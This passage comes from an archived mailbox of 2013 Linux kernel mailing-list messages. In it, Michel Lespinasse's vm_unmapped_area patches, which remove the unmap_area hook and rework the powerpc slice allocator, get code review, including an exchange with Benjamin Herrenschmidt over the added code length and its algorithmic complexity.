@@ -2293,11 +2270,6 @@ detach_vmas_to_be_unmapped(struct mm_struct *mm, struct vm_area_struct *vma,
 	} else
 		mm->highest_vm_end = prev ? prev->vm_end : 0;
 	tail_vma->vm_next = NULL;
-	if (mm->unmap_area == arch_unmap_area)
-		addr = prev ? prev->vm_end : mm->mmap_base;
-	else
-		addr = vma ?  vma->vm_start : mm->mmap_base;
-	mm->unmap_area(mm, addr);
 	mm->mmap_cache = NULL;		/* Kill the cache. */
 }
 
diff --git a/mm/nommu.c b/mm/nommu.c
index 79c3cac87afa..b5535ff2f9d1 100644
--- a/mm/nommu.c
+++ b/mm/nommu.c
@@ -1852,10 +1852,6 @@ unsigned long arch_get_unmapped_area(struct file *file, unsigned long addr,
 	return -ENOMEM;
 }
 
-void arch_unmap_area(struct mm_struct *mm, unsigned long addr)
-{
-}
-
 void unmap_mapping_range(struct address_space *mapping,
 			 loff_t const holebegin, loff_t const holelen,
 			 int even_cows)
diff --git a/mm/util.c b/mm/util.c
index c55e26b17d93..4c19aa6a1b43 100644
--- a/mm/util.c
+++ b/mm/util.c
@@ -293,7 +293,6 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 {
 	mm->mmap_base = TASK_UNMAPPED_BASE;
 	mm->get_unmapped_area = arch_get_unmapped_area;
-	mm->unmap_area = arch_unmap_area;
 }
 #endif
 
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 0/8] vm_unmapped_area: finish the mission
Date: Tue, 8 Jan 2013 17:32:05 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <CANN689EMBPqVCZdTZm1G0PznGpYR6Y5tMUOspE+emHaX=TkVtA@mail.gmail.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1357695135 32034 80.91.229.3 (9 Jan 2013 01:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:32:15 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org, 
	Andrew Morton <akpm@linux-foundation.org>, linuxppc-dev@lists.ozlabs.org, 
	linux-parisc@vger.kernel.org, linux-alpha@vger.kernel.org, 
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>, Benjamin Herrenschmidt <benh@kernel.crashing.org>, 
	"James E.J. Bottomley" <jejb@parisc-linux.org>, Matt Turner <mattst88@gmail.com>, 
	David Howells <dhowells@redhat.com>, Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:32:28 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskWm-0000Sw-IV
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:32:24 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 1570B6B005A; Tue,  8 Jan 2013 20:32:08 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 02BD36B0070; Tue,  8 Jan 2013 20:32:07 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id AB5CC6B0071; Tue,  8 Jan 2013 20:32:07 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx167.postini.com [74.125.245.167])
	by kanga.kvack.org (Postfix) with SMTP id CF8D56B005A
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:32:06 -0500 (EST)
Original-Received: from mail-vb0-f50.google.com ([209.85.212.50]) (using TLSv1) by na3sys010amx167.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:32:06 GMT
Original-Received: by mail-vb0-f50.google.com with SMTP id ft2so1068073vbb.23
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:32:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=GFRPmMWG1L5zDAqMeL1BTZybnm6hsHhk50j+9eqPbVQ=;
        b=cg0zdTR7WLjxGmo3zkQNbJhbKyAnp+YzpV+ozhxYq277OmaeOhWubee3T1uWMyPPZC
         PiG7s7UId08SHM4F7nBSNXTXU7nI+wnqIT35EfHQe5puVYIeME8dBlSwOj7px8z0x8ND
         VtlJPYst4J/NLj+z3lPqeJD2Ivm/Qyx26kWR/OKFg/R/qBkRiu1xLutDXUF7Z36OLbXL
         eNwDRTG732hQOV0sA33Rhl0SZCHCLhTucHFtB+bOzppU/4BGFHfxXbcssksj9Hf/04O9
         OID07g+B6MQp3vP1Usxl6hiPlj4DYZgUNYF3hRwR4DKuPN4Q0RgJJJyrpkl6K7VuiOcA
         7zcQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-gm-message-state;
        bh=GFRPmMWG1L5zDAqMeL1BTZybnm6hsHhk50j+9eqPbVQ=;
        b=WOPIY9rEFgHzNHFICH5O+iY/d4O2Q8FvrSSGtsaR989aiXHCRFkYptOElrcnb3BXAL
         xPjixlTig0FPBLnxtTfXmy2q/Ayc1wPNXGO2f+dPM8l+eadPbHnLdz4F+Gn7C7zypdaC
         lObl/SZTP+Nci1cQRWRI2Locu2Ws+GABsKnVsFA0bF5ddbzfAECGNfD+5aAjKImHHbpX
         irAyjuxlYEmx05urwIYzqsJCiPYZqmEWsaATL690AmWTp2kZKMX5vj6mt+fYmXCVXVtw
         fTX2aA+9XLG3b8oea8xWDmrx/IjShQ/O9YBunTaXGWSBa3Na2zbl5O+IstcmSR9pOmbp
         kBzw==
Original-Received: by 10.220.156.15 with SMTP id u15mr86759563vcw.51.1357695125652;
 Tue, 08 Jan 2013 17:32:05 -0800 (PST)
Original-Received: by 10.58.59.65 with HTTP; Tue, 8 Jan 2013 17:32:05 -0800 (PST)
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQmog/9UhdJhibbe7rWLfK+NpU9ZeKJCndn17wV4lQdadCw/aMlVWpurMdoVjEPqkEGZEEA+HNjWBV74gQQ4qW1w6aFTcz20EnxDSjm7a+svCpZF+VmQofBmP0BjAYhKuHkVXx2D3uVjELVp1Dj9i+hYydHm9Nw+WikNHA83P9LkzczIMVAU5fDm+baetjaft0nlDa+h
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93020 gmane.linux.kernel:1418776 gmane.linux.ports.ppc64.devel:86888 gmane.linux.ports.parisc:4715 gmane.linux.ports.alpha:1988 gmane.linux.ports.ia64:22864
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93020>

Whoops, I was supposed to find a more appropriate subject line before
sending this :]

On Tue, Jan 8, 2013 at 5:28 PM, Michel Lespinasse <walken@google.com> wrote:
> These patches, which apply on top of v3.8-rc kernels, are to complete the
> VMA gap finding code I introduced (following Rik's initial proposal) in
> v3.8-rc1.

-- 
Michel "Walken" Lespinasse
A program is never fully debugged until the last user dies.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Wed, 09 Jan 2013 13:15:39 +1100
Lines: 184
Approved: news@gmane.org
Message-ID: <1357697739.4838.30.camel@pasglop>
References: <1357694895-520-1-git-send-email-walken@google.com>
	 <1357694895-520-8-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357697766 21664 80.91.229.3 (9 Jan 2013 02:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 02:16:06 +0000 (UTC)
Cc: Rik van Riel <riel@redhat.com>,
        "James E.J. Bottomley"
 <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells
 <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 03:16:19 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TslDA-0006kO-Ti
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 03:16:13 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 8D1E56B005D; Tue,  8 Jan 2013 21:15:56 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 726C06B0070; Tue,  8 Jan 2013 21:15:56 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3CF866B0071; Tue,  8 Jan 2013 21:15:56 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx107.postini.com [74.125.245.107])
	by kanga.kvack.org (Postfix) with SMTP id F24FF6B005D
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 21:15:54 -0500 (EST)
Original-Received: from gate.crashing.org ([63.228.1.57]) (using TLSv1) by na3sys010amx107.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 02:15:55 GMT
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id r092FfEs006021;
	Tue, 8 Jan 2013 20:15:42 -0600
In-Reply-To: <1357694895-520-8-git-send-email-walken@google.com>
X-Mailer: Evolution 3.6.0-0ubuntu3 
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <benh@kernel.crashing.org> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93022 gmane.linux.kernel:1418784 gmane.linux.ports.ppc64.devel:86889 gmane.linux.ports.parisc:4716 gmane.linux.ports.alpha:1989 gmane.linux.ports.ia64:22865
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93022>

On Tue, 2013-01-08 at 17:28 -0800, Michel Lespinasse wrote:
> Update the powerpc slice_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
> 
> Signed-off-by: Michel Lespinasse <walken@google.com>
> 
> ---
>  arch/powerpc/mm/slice.c |  128 +++++++++++++++++++++++++++++-----------------
>  1 files changed, 81 insertions(+), 47 deletions(-)

That doesn't look good ... the resulting code is longer than the
original, which makes me wonder how it is an improvement...

Now it could just be a matter of how the code is factored, I see
quite a bit of duplication of the whole slice mask test...

Cheers,
Ben.

> diff --git a/arch/powerpc/mm/slice.c b/arch/powerpc/mm/slice.c
> index 999a74f25ebe..048346b7eed5 100644
> --- a/arch/powerpc/mm/slice.c
> +++ b/arch/powerpc/mm/slice.c
> @@ -242,31 +242,51 @@ static unsigned long slice_find_area_bottomup(struct mm_struct *mm,
>  					      struct slice_mask available,
>  					      int psize)
>  {
> -	struct vm_area_struct *vma;
> -	unsigned long addr;
> -	struct slice_mask mask;
>  	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
> +	unsigned long addr, found, slice;
> +	struct vm_unmapped_area_info info;
>  
> -	addr = TASK_UNMAPPED_BASE;
> +	info.flags = 0;
> +	info.length = len;
> +	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
> +	info.align_offset = 0;
>  
> -	for (;;) {
> -		addr = _ALIGN_UP(addr, 1ul << pshift);
> -		if ((TASK_SIZE - len) < addr)
> -			break;
> -		vma = find_vma(mm, addr);
> -		BUG_ON(vma && (addr >= vma->vm_end));
> +	addr = TASK_UNMAPPED_BASE;
> +	while (addr < TASK_SIZE) {
> +		info.low_limit = addr;
> +		if (addr < SLICE_LOW_TOP) {
> +			slice = GET_LOW_SLICE_INDEX(addr);
> +			addr = (slice + 1) << SLICE_LOW_SHIFT;
> +			if (!(available.low_slices & (1u << slice)))
> +				continue;
> +		} else {
> +			slice = GET_HIGH_SLICE_INDEX(addr);
> +			addr = (slice + 1) << SLICE_HIGH_SHIFT;
> +			if (!(available.high_slices & (1u << slice)))
> +				continue;
> +		}
>  
> -		mask = slice_range_to_mask(addr, len);
> -		if (!slice_check_fit(mask, available)) {
> -			if (addr < SLICE_LOW_TOP)
> -				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_LOW_SHIFT);
> -			else
> -				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_HIGH_SHIFT);
> -			continue;
> + next_slice:
> +		if (addr >= TASK_SIZE)
> +			addr = TASK_SIZE;
> +		else if (addr < SLICE_LOW_TOP) {
> +			slice = GET_LOW_SLICE_INDEX(addr);
> +			if (available.low_slices & (1u << slice)) {
> +				addr = (slice + 1) << SLICE_LOW_SHIFT;
> +				goto next_slice;
> +			}
> +		} else {
> +			slice = GET_HIGH_SLICE_INDEX(addr);
> +			if (available.high_slices & (1u << slice)) {
> +				addr = (slice + 1) << SLICE_HIGH_SHIFT;
> +				goto next_slice;
> +			}
>  		}
> -		if (!vma || addr + len <= vma->vm_start)
> -			return addr;
> -		addr = vma->vm_end;
> +		info.high_limit = addr;
> +
> +		found = vm_unmapped_area(&info);
> +		if (!(found & ~PAGE_MASK))
> +			return found;
>  	}
>  
>  	return -ENOMEM;
> @@ -277,39 +297,53 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
>  					     struct slice_mask available,
>  					     int psize)
>  {
> -	struct vm_area_struct *vma;
> -	unsigned long addr;
> -	struct slice_mask mask;
>  	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
> +	unsigned long addr, found, slice;
> +	struct vm_unmapped_area_info info;
>  
> -	addr = mm->mmap_base;
> -	while (addr > len) {
> -		/* Go down by chunk size */
> -		addr = _ALIGN_DOWN(addr - len, 1ul << pshift);
> +	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
> +	info.length = len;
> +	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
> +	info.align_offset = 0;
>  
> -		/* Check for hit with different page size */
> -		mask = slice_range_to_mask(addr, len);
> -		if (!slice_check_fit(mask, available)) {
> -			if (addr < SLICE_LOW_TOP)
> -				addr = _ALIGN_DOWN(addr, 1ul << SLICE_LOW_SHIFT);
> -			else if (addr < (1ul << SLICE_HIGH_SHIFT))
> -				addr = SLICE_LOW_TOP;
> -			else
> -				addr = _ALIGN_DOWN(addr, 1ul << SLICE_HIGH_SHIFT);
> -			continue;
> +	addr = mm->mmap_base;
> +	while (addr > PAGE_SIZE) {
> +		info.high_limit = addr;
> +                if (addr < SLICE_LOW_TOP) {
> +			slice = GET_LOW_SLICE_INDEX(addr - 1);
> +			addr = slice << SLICE_LOW_SHIFT;
> +			if (!(available.low_slices & (1u << slice)))
> +				continue;
> +		} else {
> +			slice = GET_HIGH_SLICE_INDEX(addr - 1);
> +			addr = slice ? (slice << SLICE_HIGH_SHIFT) :
> +								SLICE_LOW_TOP;
> +			if (!(available.high_slices & (1u << slice)))
> +				continue;
>  		}
>  
> -		/*
> -		 * Lookup failure means no vma is above this address,
> -		 * else if new region fits below vma->vm_start,
> -		 * return with success:
> -		 */
> -		vma = find_vma(mm, addr);
> -		if (!vma || (addr + len) <= vma->vm_start)
> -			return addr;
> + next_slice:
> +		if (addr < PAGE_SIZE)
> +			addr = PAGE_SIZE;
> +		else if (addr < SLICE_LOW_TOP) {
> +			slice = GET_LOW_SLICE_INDEX(addr - 1);
> +			if (available.low_slices & (1u << slice)) {
> +				addr = slice << SLICE_LOW_SHIFT;
> +				goto next_slice;
> +			}
> +		} else {
> +			slice = GET_HIGH_SLICE_INDEX(addr - 1);
> +			if (available.high_slices & (1u << slice)) {
> +				addr = slice ? (slice << SLICE_HIGH_SHIFT) :
> +								SLICE_LOW_TOP;
> +				goto next_slice;
> +			}
> +		}
> +		info.low_limit = addr;
>  
> -		/* try just below the current vma->vm_start */
> -		addr = vma->vm_start;
> +		found = vm_unmapped_area(&info);
> +		if (!(found & ~PAGE_MASK))
> +			return found;
>  	}
>  
>  	/*


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Tue, 8 Jan 2013 18:38:56 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <CANN689EJV_7Q7J4j1ttDxZuqbwD53PAuCHb5DhiE-AVbmNSR7Q@mail.gmail.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
	<1357694895-520-8-git-send-email-walken@google.com>
	<1357697739.4838.30.camel@pasglop>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1357699140 31789 80.91.229.3 (9 Jan 2013 02:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 02:39:00 +0000 (UTC)
Cc: Rik van Riel <riel@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jan 09 03:39:15 2013
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1TslZS-00065T-Nl
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 09 Jan 2013 03:39:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756076Ab3AICi6 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 8 Jan 2013 21:38:58 -0500
Original-Received: from mail-vc0-f172.google.com ([209.85.220.172]:39188 "EHLO
	mail-vc0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755725Ab3AICi5 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 8 Jan 2013 21:38:57 -0500
Original-Received: by mail-vc0-f172.google.com with SMTP id fw7so1148519vcb.3
        for <linux-ia64@vger.kernel.org>; Tue, 08 Jan 2013 18:38:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=dy33WVDNJr4T95/ZVrlXvCgCJkuyJi1Tw8cVqyo4aTs=;
        b=MmWoLiCvPyVtheLqxmjSN8p9T2gUElIMoNsgZ5IfmK/WeGgqc2nHAmbQoiWfmpA0O8
         dUcIZHpS+gbaxxZLyOTxecAi9eId56iNyyPsLv5kPouVkVP3xIq4PNThaIIDfSHo+ldn
         cmaJR6fQNQK/WelipfYX56IPQKAWX71kc+xT6jF3WRdAv/wt8jNpkQr5QHB4H8Jod1YF
         R87kbcu97kRQTjl7h9mK40b6WPKgTusI9fdKHviIFO3qgbkDNgLdK8pdNPRMOfKA+MW8
         rKipia2ogr+Y2A3kTEiJ1Okb/y35g7wy/dQu8G349z93yWgBBlo3a0i1CezCmBHt1kaY
         LEuA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-gm-message-state;
        bh=dy33WVDNJr4T95/ZVrlXvCgCJkuyJi1Tw8cVqyo4aTs=;
        b=nU4pIXqyB3M1RxEYIm8eOTrOUk8kuOamSP8lfGpEbGDeWlEbQDZ8sJRHzf+Kz9bdTN
         84ECuLFHB3tj3FjzR432X63eU0m7HxSCGKexFvqQWwlwCzy+N4rTEcy9jA/NMh7OVazn
         xzreb2ZFViMFNJumPWoJrmeRp24LMPfPpByBCIWgWvI/zfB1uYeavVa0T2NWToaslh7u
         8qRK0vVSriYSwMzY/1y78V8m+HMTc2kfYci3Fy7X1sHwBpsT7sdKLHnM6HGPjmevpYLJ
         PtUh90TLTk1Rel0qQuIEe8z4m/E3pPsyp+faI46EK3VhOjDRqDa/DlfbAoDrszAK3SmO
         t33w==
Original-Received: by 10.58.240.107 with SMTP id vz11mr90856794vec.45.1357699136377;
 Tue, 08 Jan 2013 18:38:56 -0800 (PST)
Original-Received: by 10.58.59.65 with HTTP; Tue, 8 Jan 2013 18:38:56 -0800 (PST)
In-Reply-To: <1357697739.4838.30.camel@pasglop>
X-Gm-Message-State: ALoCoQmIUrDkmR4x49pU1BVk9AZ+2wn3hEZdnYlDvpviYI++VsMoGXAALcQh0tLuqDWbDiar1dNxPeIC1GiZGNQYv3xyxJ5sAkKqC8rlwhvF+eS/7ti5kGxlVCZAs2jJHhwau1Mrsbx2zgK+2rywWAyFhAS2ml7p5tNFUazkqCO4A/v+ljcEt4CWajj9pB9oCQnrf6JM3hQ2TvYR+V9xdmLe4DwAeRa3lA==
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22866 gmane.linux.kernel.mm:93024 gmane.linux.kernel:1418796 gmane.linux.ports.ppc64.devel:86890 gmane.linux.ports.parisc:4717 gmane.linux.ports.alpha:1990
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22866>

On Tue, Jan 8, 2013 at 6:15 PM, Benjamin Herrenschmidt
<benh@kernel.crashing.org> wrote:
> On Tue, 2013-01-08 at 17:28 -0800, Michel Lespinasse wrote:
>> Update the powerpc slice_get_unmapped_area function to make use of
>> vm_unmapped_area() instead of implementing a brute force search.
>>
>> Signed-off-by: Michel Lespinasse <walken@google.com>
>>
>> ---
>>  arch/powerpc/mm/slice.c |  128 +++++++++++++++++++++++++++++-----------------
>>  1 files changed, 81 insertions(+), 47 deletions(-)
>
> That doesn't look good ... the resulting code is longer than the
> original, which makes me wonder how it is an improvement...

Well no fair, the previous patch (for powerpc as well) has 22
insertions and 93 deletions :)

The benefit is that the new code has lower algorithmic complexity, it
replaces a per-vma loop with O(N) complexity with an outer loop that
finds contiguous slice blocks and passes them to vm_unmapped_area()
which is only O(log N) complexity. So the new code will be faster for
workloads which use lots of vmas.

That said, I do agree that the code that looks for contiguous
available slices looks kinda ugly - just not sure how to make it look
nicer though.

-- 
Michel "Walken" Lespinasse
A program is never fully debugged until the last user dies.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Wed, 09 Jan 2013 14:32:56 +1100
Lines: 44
Approved: news@gmane.org
Message-ID: <1357702376.4838.32.camel@pasglop>
References: <1357694895-520-1-git-send-email-walken@google.com>
	 <1357694895-520-8-git-send-email-walken@google.com>
	 <1357697739.4838.30.camel@pasglop>
	 <CANN689EJV_7Q7J4j1ttDxZuqbwD53PAuCHb5DhiE-AVbmNSR7Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357702400 27770 80.91.229.3 (9 Jan 2013 03:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 03:33:20 +0000 (UTC)
Cc: Rik van Riel <riel@redhat.com>,
        "James E.J. Bottomley"
 <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells
 <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 04:33:34 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TsmQ0-0000PJ-HS
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 04:33:32 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 5E9446B0062; Tue,  8 Jan 2013 22:33:15 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 4DF0F6B0070; Tue,  8 Jan 2013 22:33:15 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1AB7E6B0071; Tue,  8 Jan 2013 22:33:15 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx118.postini.com [74.125.245.118])
